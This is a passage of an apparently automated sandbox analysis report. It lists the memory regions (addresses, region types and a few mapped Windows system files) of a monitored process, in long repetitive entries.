"private_0x000000000b2d0000" filename = "" Region: id = 4097 start_va = 0xb450000 end_va = 0xb5cbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b450000" filename = "" Region: id = 4098 start_va = 0xb2d0000 end_va = 0xb447fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b2d0000" filename = "" Region: id = 4099 start_va = 0xb450000 end_va = 0xb5bcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b450000" filename = "" Region: id = 4100 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4101 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4102 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4103 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4104 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4105 start_va = 0x460000 end_va = 0x466fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 4106 start_va = 0x430000 end_va = 0x432fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4107 start_va = 0x7df5ffe40000 end_va = 0x7df5ffebdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\AppPatch\\apppatch64\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\apppatch64\\sysmain.sdb") Region: id = 4118 start_va = 0x6d0000 end_va = 0x6dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 4119 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4120 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 4121 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 4122 start_va = 0x6d0000 end_va = 0x6dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 4123 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4124 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 4125 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 4126 start_va = 0x7ffd44fe0000 end_va = 0x7ffd45082fff monitored = 0 entry_point = 0x7ffd44ff4810 region_type = mapped_file name = "wpnapps.dll" filename = "\\Windows\\System32\\wpnapps.dll" (normalized: "c:\\windows\\system32\\wpnapps.dll") Region: id = 4127 start_va = 0x6d0000 end_va = 0x6dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 4128 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4129 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 4130 start_va = 0x6d0000 end_va = 0x6defff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 4131 start_va = 0x6d0000 end_va = 0x6d2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 4132 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4133 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4134 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4135 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4136 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4137 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4138 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4139 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4140 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4141 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4142 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4143 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4144 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4145 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4151 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4152 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4153 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4154 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4155 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4158 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4159 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4160 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4161 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4162 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4163 start_va = 0x112d0000 end_va = 0x1134ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000112d0000" filename = "" Region: id = 4164 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4165 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4166 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4167 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4168 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4170 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4171 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4172 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4173 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4174 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4175 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4176 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4177 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4178 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4179 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4180 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4181 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4182 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4183 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4184 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4185 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4186 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4187 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4188 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4189 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4190 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4191 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4192 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4193 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4194 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4195 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4196 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4197 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4198 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4199 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4200 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4201 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4202 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4203 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4204 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4205 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4206 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4207 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4208 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4209 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4210 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4211 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4212 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4213 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4214 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4215 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4216 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4217 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4218 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4219 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 4220 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4221 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4222 start_va = 0x430000 end_va = 0x430fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4223 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4224 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4225 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4226 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4227 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4228 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4229 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4230 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4231 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4232 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4233 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4234 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4235 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4236 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4237 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4238 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4239 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4240 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4241 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4242 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4244 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4245 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4246 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4247 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4248 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4249 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4250 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4251 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4252 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4253 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4254 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4255 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4256 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4257 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 4258 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4259 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4260 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4261 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4262 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4263 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4264 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4265 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4266 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4267 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4268 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4269 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4270 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4271 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4272 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4273 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4274 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4275 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4276 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4277 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4278 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4279 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4280 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4281 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4282 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4283 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4284 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4285 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4286 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4287 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4288 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4289 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4290 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4291 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4292 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4293 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4294 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4295 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4296 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4297 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4298 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4299 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4300 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4301 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4302 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4303 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4304 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4305 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4306 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4307 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4308 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4309 start_va = 0x430000 end_va = 0x43efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 4310 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4311 start_va = 0x430000 end_va = 0x44dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 4312 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 4313 start_va = 0x6d0000 